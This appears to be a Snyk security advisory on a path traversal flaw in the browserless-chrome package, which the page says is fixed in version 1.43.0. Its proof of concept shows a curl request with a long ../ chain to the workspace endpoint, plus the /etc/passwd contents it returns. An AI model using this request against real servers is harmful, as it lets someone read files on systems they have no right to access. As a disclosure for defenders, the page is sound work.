browserless-chrome@1.0.0-alpha vulnerabilities

Chrome-as-a-service on your own hardware or in the cloud.

Direct Vulnerabilities

Known vulnerabilities in the browserless-chrome package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Path Traversal

browserless-chrome is a web-service that allows for remote clients to connect, drive, and execute headless work; all inside of docker. It offers first-class integrations for puppeteer, playwright, selenium's webdriver, and a slew of handy REST APIs for doing more common work.

Affected versions of this package are vulnerable to Path Traversal. User input flowing from the workspace endpoint gets used to create a file path filePath and this is fetched and then sent back to a user. This can be escaped to fetch arbitrary files from a server.

Note This package no longer releases fixes to npm but a fixed version tag 1.40.2-chrome-stable is available if this package is loaded from GitHub.

PoC

run docker run -p 3000:3000 browserless/chrome

snoopy@snoopy-XPS-15-9570:~$ curl --path-as-is --url 'http://localhost:3000/workspace/../../../../../../../../../../../../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

How to fix Path Traversal?

Upgrade browserless-chrome to version 1.43.0 or higher.

<1.43.0